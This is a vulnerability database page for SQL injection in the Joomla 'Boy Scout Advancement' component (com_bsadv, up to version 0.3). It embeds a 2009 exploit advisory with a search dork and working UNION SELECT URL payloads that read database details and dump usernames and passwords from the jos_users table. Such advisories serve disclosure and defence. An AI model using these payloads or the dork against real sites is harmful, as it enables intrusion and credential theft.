Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-89 |
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 8779
Publication date : 2009-05-25 22h00 +00:00
Author : YEnH4ckEr
EDB Verified : Yes
***********************************************************************************************
***********************************************************************************************
** **
** **
** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
** **
** **
** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** ¡PROUD TO BE SPANISH! **
** **
***********************************************************************************************
***********************************************************************************************
----------------------------------------------------------------------------------------------
| MULTIPLE SQL INJECTION VULNERABILITIES |
|--------------------------------------------------------------------------------------------|
| | Joomla Component 'Boy Scout Advancement' <= v-0.3 (com_bsadv) | |
|CMS INFORMATION: --------------------------------------------------------------- |
| |
|-->WEB: http://bsadv.sourceforge.net/ |
|-->DOWNLOAD: http://bsadv.sourceforge.net/ |
|-->DEMO: N/A |
|-->CATEGORY: Joomla/Component |
|-->DESCRIPTION: BSAdv is a Joomla 1.5 component for Boy Scout unit data and advancement |
| data for Boy Scout Troops in the United States... |
|-->RELEASED: 2009-02-01 |
| |
|CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3 |
|-->DORK --> inurl:"?option=com_bsadv" |
|-->CATEGORY: SQL INJECTION |
|-->AFFECT VERSION: <= 0.3 |
|-->Discovered Bug date: 2009-05-25 |
|-->Reported Bug date: 2009-05-25 |
|-->Fixed bug date: Not fixed |
|-->Info patch: Not fixed |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo. |
|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!) |
----------------------------------------------------------------------------------------------
############################
///////////////////////////
SQL INJECTION VULNS (SQLi):
///////////////////////////
############################
<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>
-------------------
PROOFS OF CONCEPT:
-------------------
[++] GET var --> 'id'
~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=event&id=-1+UNION+ALL+SELECT+1,version(),database(),user()%23
[++] GET var --> 'id'
~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=account&id=-1+UNION+ALL+SELECT+database(),version()%23&Itemid=57
[++[Return]++] ~~~~~> User, version or database.
-----------
EXPLOITS:
-----------
~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=event&id=-1+UNION+ALL+SELECT+1,concat(username,0x3A3A3A,password),3,4+FROM+jos_users+WHERE+id=62%23
[++[Return]++] ~~~~~> Username:::password id=62
~~~~> http://[HOST]/[PATH]/index.php?option=com_bsadv&controller=peruse&task=account&id=-1+UNION+ALL+SELECT+username,password+FROM+jos_users+WHERE+id=62%23&Itemid=57
[++[Return]++] ~~~~~> Username and password id=62
<<<-----------------------------EOF---------------------------------->>>ENJOY IT!
#######################################################################
#######################################################################
##*******************************************************************##
## SPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! ##
##*******************************************************************##
##-------------------------------------------------------------------##
##*******************************************************************##
## GREETZ TO: JosS, Ulises2k, J.McCray and Spanish Hack3Rs community!##
##*******************************************************************##
#######################################################################
#######################################################################
# milw0rm.com [2009-05-26]
Products Mentioned
Configuraton 0
Joomla>>Joomla\! >> Version *
Kim_eckert>>Com_bsadv >> Version To (including) 0.3
Kim_eckert>>Com_bsadv >> Version 0.0
Kim_eckert>>Com_bsadv >> Version 0.1
Kim_eckert>>Com_bsadv >> Version 0.2
References